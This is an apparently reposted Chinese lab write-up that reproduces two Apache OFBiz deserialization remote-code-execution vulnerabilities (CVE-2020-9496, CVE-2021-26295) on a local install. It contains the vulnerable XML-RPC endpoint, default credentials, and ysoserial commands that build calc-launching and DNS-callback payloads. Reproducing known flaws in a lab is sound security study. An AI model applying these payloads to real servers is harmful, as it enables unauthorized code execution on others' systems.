搜索

[2065] 2021-03-24_ApacheOFBiz漏洞复现(2021-262952020-9496)

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-16
2021-03-24_ApacheOFBiz漏洞复现(2021-262952020-9496) A p a c h e   O F B i z   漏 洞 复 现   ( 2 0 2 1 - 2 6 2 9 5 / 2 0 2 0 - 9 4 9 6 ) 原 创   d o n 9   d o n 9 s e c   2 0 2 1 - 0 3 - 2 4 收 录 于 话 题   # 漏 洞 复 现   , 1 9 个 “   本 公 众 号 所 有 技 术 文 章 ，   仅 用 于 经 验 技 术 交 流 学 习 ， 禁 止 应 用 到 不 正 当 途 径 ， 因 滥 用 技 术 产 生 的 风 险 与 本 人 无 关 ！ ” 0 x 0 1   环 境 搭 建 环 境 搭 建 环 境 配 置 环 境 配 置 官 网 （ h t t p : / / w w w . g r a d l e . o r g / d o w n l o a d s ） 下 载 解 压 G R A D L E _ H O M E 编 辑 C L A S S P A T H 编 辑 环 境 变 量 P A T H
安 装 成 功 添 加 依 赖 添 加 依 赖 解 压 后 导 入 I D E A , 修 改 部 分 配 置 后 等 I D E A 自 动 下 载 相 关 依 赖 。 b u i l d . g r a d l e : 添 加 m y s q l 的 驱 动 依 赖 修 改 f r a m e w o r k e n t i t y c o n f i g e n t i t y e n g i n e . x m l 中 d a t a s o u r c e 为 本 地 数 据 库 配 置 （ 这 里 以 m y s q l 为 例 ） 创 建 用 户 名 口 令 和 3 个 数 据 库 / /   M y S Q L   C o n n e c t o r   l c o m p i l e       ' m y s q l : m y s q l - c o n n e c t o r - j a v a : 5 . 1 . 4 1 ' 见 附 件 c r e a t e   u s e r   ' o f b i z ' @ ' l o c a l h o s t '   i d e n t i f i e d   b y   ' o f b i z ' ;         c r e a t e   d a t a b a s e   o f b i z   D E F A U L T   C H A R S E T   u t f 8   C O L L A T E   u t f 8 _ g e n e r a l _ c i ;     c r e a t e   d a t a b a s e   o f b i z o l a p   D E F A U L T   C H A R S E T   u t f 8   C O L L A T E   u t f 8 _ g e n e r a l _ c i ;     c r e a t e   d a t a b a s e   o f b i z t e n a n t   D E F A U L T   C H A R S E T   u t f 8   C O L L A T E   u t f 8 _ g e n e r a l _ c i ;         g r a n t   a l l   o n   * . *   t o   ' o f b i z ' @ ' l o c a l h o s t ' ;     f l u s h   p r i v i l e g e s ;        
修 改 文 件 f r a m e w o r k e n t i t y c o n f i g e n t i t y e n g i n e . x m l i d e a 导 后 会 自 动 下 载 相 关 依 赖 运 行 环 境 运 行 环 境 双 击 g r a d l e w . b a t ， 下 载 g r a d l e w 以 及 相 关 的 依 赖 导 入 数 据 运 行 项 目 s h o w   g r a n t s   f o r   ' o f b i z ' @ ' l o c a l h o s t ' ;         q u i t ;     < d a t a s o u r c e     n a m e = " l o c a l m y s q l " . . . c h a r a c t e r - s e t = " u t f 8 " c o l l a t e = " u t f 8 _ g e n e r a l _ c i " g r a d l e w   c l e a n A l l l o a d D e f a u l t
访 问 ： 使 用 默 认 账 号 a d m i n / o f b i z 来 登 录 0 x 0 2   相 关 漏 洞 相 关 漏 洞 C V E - 2 0 2 0 - 9 4 9 6   R C E 漏 漏 洞 简 介 洞 简 介 A p a c h e   o f b i z   存 在 反 序 列 化 漏 洞 ， 攻 击 者   通 过   访 问 未 授 权 接 口 ， 构 造 特 定 的 x m l r p c   h t t p 请 求 ， 可 以 造 成   远 程 代 码 执 行 的 影 响 。 影 响 范 围 影 响 范 围 A p a c h e O f b i z ： <   1 7 . 1 2 . 0 4 漏 洞 详 情 漏 洞 详 情 X M L - R P C 是 一 种 远 程 过 程 调 用 ( R P C ) 协 议 ， 它 使 用 X M L 对 其 调 用 进 行 编 码 ， 并 使 用 H T T P 作 为 传 输 机 制 。 它 是 一 种 规 范 和 一 组 实 现 ， 允 许 软 件 运 行 在 不 同 的 操 作 系 统 上 ， 运 行 在 不 同 的 环 境 中 ， 通 过 I n t e r n e t 进 行 过 程 调 用 。 在 X M L - R P C 中 ， 客 户 端 通 过 向 实 现 X M L - R P C 并 接 收 H T T P 响 应 的 服 务 器 发 送 H T T P 请 求 来 执 行 R P C 。 漏 洞 复 现 漏 洞 复 现 漏 洞 触 发 点 检 测 漏 洞 是 否 存 在 g r a d l e w   o f b i z h t t p s : / / l o c a l h o s t : 8 4 4 3 / o r d e r m g r h t t p s : / / l o c a l h o s t : 8 4 4 3 / w e b t o o l s / c o n t r o l / m a i n h t t p s : / / l o c a l h o s t : 8 4 4 3 / a c c o u n t i n g / c o n t r o l / m a i n / w e b t o o l s / c o n t r o l / x m l r p c
报 错 ， 可 根 据 提 示 查 看 日 志 可 见 服 务 端 已 经 将 b a s e 6 4 解 码 ， 还 尝 试 读 取 对 象 ， 但 是 由 于 传 入 的 是 字 符 串 ， 所 以 报 错 。 弹 计 算 器 弹 计 算 器 使 用 y s o s e r i a l 生 成 p a y l o a d ， b a s e 6 4 编 码 ， 并 去 掉 换 行 符 ：   粘 贴 替 换 p a y l o a d   C V E - 2 0 2 1 - 2 6 2 9 5   R C E 漏 洞 简 介 漏 洞 简 介 A p a c h e   O F B i z 是 一 个 电 子 商 务 平 台 ， 用 于 构 建 大 中 型 企 业 级 、 跨 平 台 、 跨 数 据 库 、 跨 应 用 服 务 器 的 多 层 、 分 布 式 电 子 商 务 类 应 用 系 统 。 2 0 2 1 年 3 月 2 2 日   A p a c h e   O F B i z 官 方 发 布 安 全 更 新 ， 修 复 了 一 处 由 R M I 反 序 列 化 造 成 的 远 程 代 码 执 行 漏 洞 （ C V E - 2 0 2 1 - 2 6 2 9 5 ） 。 j a v a   - j a r   y s o s e r i a l . j a r   C o m m o n s B e a n u t i l s 1   c a l c   | b a s e 6 4   |   t r   - d   ' n '
攻 击 者 可 构 造 恶 意 请 求 ， 触 发 反 序 列 化 ， 从 而 造 成 任 意 代 码 执 行 。 影 响 范 围 影 响 范 围 A p a c h e O F B i z :   < 1 7 . 1 2 . 0 6 漏 洞 复 现 漏 洞 复 现 D n s 回 显 回 显 使 用 y s o s e r i a l . j a r 生 成 d n s 回 显 的 p a y l o a d 漏 洞 验 证 d n s 查 询 记 录 弹 计 算 器 弹 计 算 器 j a v a   - j a r   y s o s e r i a l . j a r   U R L D N S   h t t p : / / o 5 5 y 3 e . d n s l o g . c n   |   x x d j a v a   - j a r   y s o s e r i a l . j a r   C o m m o n s B e a n u t i l s 1   c a l c   >   c a l c . s e r
将 c a l c . s e r 转 成 1 6 进 制 替 换 p a y l o a d 参 考 ： 附 件 ： h t t p s : / / x z . a l i y u n . c o m / t / 9 3 3 8 h t t p s : / / t w i t t e r . c o m / z h z y k e r / s t a t u s / 1 3 7 4 3 5 4 1 3 9 8 1 6 1 5 3 0 9 1 链 接 ： h t t p s : / / p a n . b a i d u . c o m / s / 1 _ O l d I 6 N f r 6 m - e W 5 S N q P E 6 w   提 取 码 ： 2 0 2 1   复 制 这 段 内 容 后 打 开 百 度 网 盘 手 机 A p p ， 操 作 更 方 便 哦 - - 来 自 百 度 网 盘 超 级 会 员 V 5 的 分 享
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理